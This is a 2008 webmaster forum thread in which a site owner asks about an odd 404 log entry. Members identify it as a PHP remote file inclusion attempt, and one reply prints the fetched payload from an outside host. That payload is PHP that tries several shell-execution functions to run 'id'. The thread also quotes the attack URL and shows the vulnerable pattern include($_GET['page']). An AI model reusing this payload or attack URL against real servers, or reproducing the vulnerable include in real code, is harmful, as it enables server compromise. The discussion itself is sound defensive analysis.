Reply
Weird page requests.
Old 02-13-2008, 04:37 PM Weird page requests.
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 5,888
Name: Dan
Location: Swindon
Hello,

i have a 404 page which emails me when theirs errors.

i know some are hack attempts but never seen this one before.

Code:
uk.calmcharity.org/*.php?page=http://opsz.3x.ro/safeon.txt??
just wonderd if any one seen it before ot can tell me what the "person" was trying to do?
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
When You Register, These Ads Go Away!
     
Old 02-13-2008, 10:31 PM Re: Weird page requests.
ForrestCroce's Avatar
Half Man, Half Amazing

Posts: 3,025
Name: Forrest Croce
Location: Seattle, WA
I would have guessed referral spam, except that after looking at the file on 3x.ro, it's trying to read from the disc using php:


<?php
echo "jimmywho";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
ForrestCroce is offline
Reply With Quote
View Public Profile Visit ForrestCroce's homepage!
 
Old 02-14-2008, 04:13 AM Re: Weird page requests.
tripy's Avatar
Fetchez la vache!

Posts: 1,857
Name: Thierry
Location: In the void
It's a typicall php injection attempt.

It tries to inject the PHP code into a badly crafted script which would do a require() on a url without stupid-proofing (filtering) it.
__________________
Listen to the ducky: "This is awesome!!!"

tripy is online now
Reply With Quote
View Public Profile
 
Old 02-14-2008, 05:30 AM Re: Weird page requests.
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 5,888
Name: Dan
Location: Swindon
Is there any way that that would be possible?

This sounds so nieve but its only now i realise how much even simple sites get hack attempts.
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-14-2008, 06:51 AM Re: Weird page requests.
tripy's Avatar
Fetchez la vache!

Posts: 1,857
Name: Thierry
Location: In the void
Of course it's possible. But the PHP must have the fopen url_wrappers enabled for that to work. Some PHP scripts are that badly done that they just do in include of a file passed in parameter.

If you have taken care of it, then you don't need to worry.
__________________
Listen to the ducky: "This is awesome!!!"

tripy is online now
Reply With Quote
View Public Profile
 
Old 02-14-2008, 07:07 AM Re: Weird page requests.
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 5,888
Name: Dan
Location: Swindon
So what would i need (or not need) to have on a page/script whcih would make that hack work/
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-14-2008, 07:54 AM Re: Weird page requests.
tripy's Avatar
Fetchez la vache!

Posts: 1,857
Name: Thierry
Location: In the void
PHP Code:
include($_GET['page']); 
__________________
Listen to the ducky: "This is awesome!!!"

tripy is online now
Reply With Quote
View Public Profile
 
Old 02-14-2008, 12:19 PM Re: Weird page requests.
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 5,888
Name: Dan
Location: Swindon
Well i most definatly aint that thick...
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-14-2008, 03:03 PM Re: Weird page requests.
tripy's Avatar
Fetchez la vache!

Posts: 1,857
Name: Thierry
Location: In the void

I undoubtedly knew so!
__________________
Listen to the ducky: "This is awesome!!!"

tripy is online now
Reply With Quote
View Public Profile
 
Old 02-15-2008, 01:08 AM Re: Weird page requests.
ForrestCroce's Avatar
Half Man, Half Amazing

Posts: 3,025
Name: Forrest Croce
Location: Seattle, WA
Quote:
Originally Posted by tripy View Post
It's a typicall php injection attempt.
Really...? This is the first I've heard of this. I only do very light php, so I really wouldn't be aware of it... Honestly, most of the work I do is sql backend stuff lately. My current situation is working only with data other internal processes have gathered and cleanses, so that's entirely impossible. But in asp.net a developer would have to work hard to make this type of injection possible ... and I've never tried, but I don't think you can include a code file that's not part of your domain in asp 3.0.
ForrestCroce is offline
Reply With Quote
View Public Profile Visit ForrestCroce's homepage!
 
Old 02-15-2008, 03:11 AM Re: Weird page requests.
tripy's Avatar
Fetchez la vache!

Posts: 1,857
Name: Thierry
Location: In the void
Quote:
But in asp.net a developer would have to work hard to make this type of injection possible
As I'm starting c# .net, I see now why.
It's that the .net engine makes everything needed to prevent it automatically.
Beside, I haven't seen (until now) an equivalent of PHP's include() statement, which extends a script with a file located elsewhere.

PHP have no such security, it's totally raw.
If you want to prevent it, then you must take it in view at the designing stage.
__________________
Listen to the ducky: "This is awesome!!!"

tripy is online now
Reply With Quote
View Public Profile
 
Old 02-15-2008, 08:22 AM Re: Weird page requests.
dansgalaxy's Avatar
Eat, Sleep, Code

Posts: 5,888
Name: Dan
Location: Swindon
I know it probs wont work without maniulating the ini to allow it all.

So really only really unsecure servers this might work on...
__________________
Personal UK Webhosting
Get 25% of ANY shared package for life ~ Promo: webmaster-talk (only for members!)
dansgalaxy is offline
Reply With Quote
View Public Profile Visit dansgalaxy's homepage!
 
Old 02-15-2008, 08:38 AM Re: Weird page requests.
tripy's Avatar
Fetchez la vache!

Posts: 1,857
Name: Thierry
Location: In the void
Yep, the allow_url_fopen php.ini directive.
It's not a surprise it's deactivated by default. But I bet that there are so many scripts out there that may rely on it, that some hosts are bound to let it open to avoid tickets, and leave the security at the sole expense of there customers.

http://www.php.net/manual/en/ref.fil...llow-url-fopen
__________________
Listen to the ducky: "This is awesome!!!"

tripy is online now
Reply With Quote
View Public Profile
 
Reply     « Reply to Weird page requests.
 

Thread Tools

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off




   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML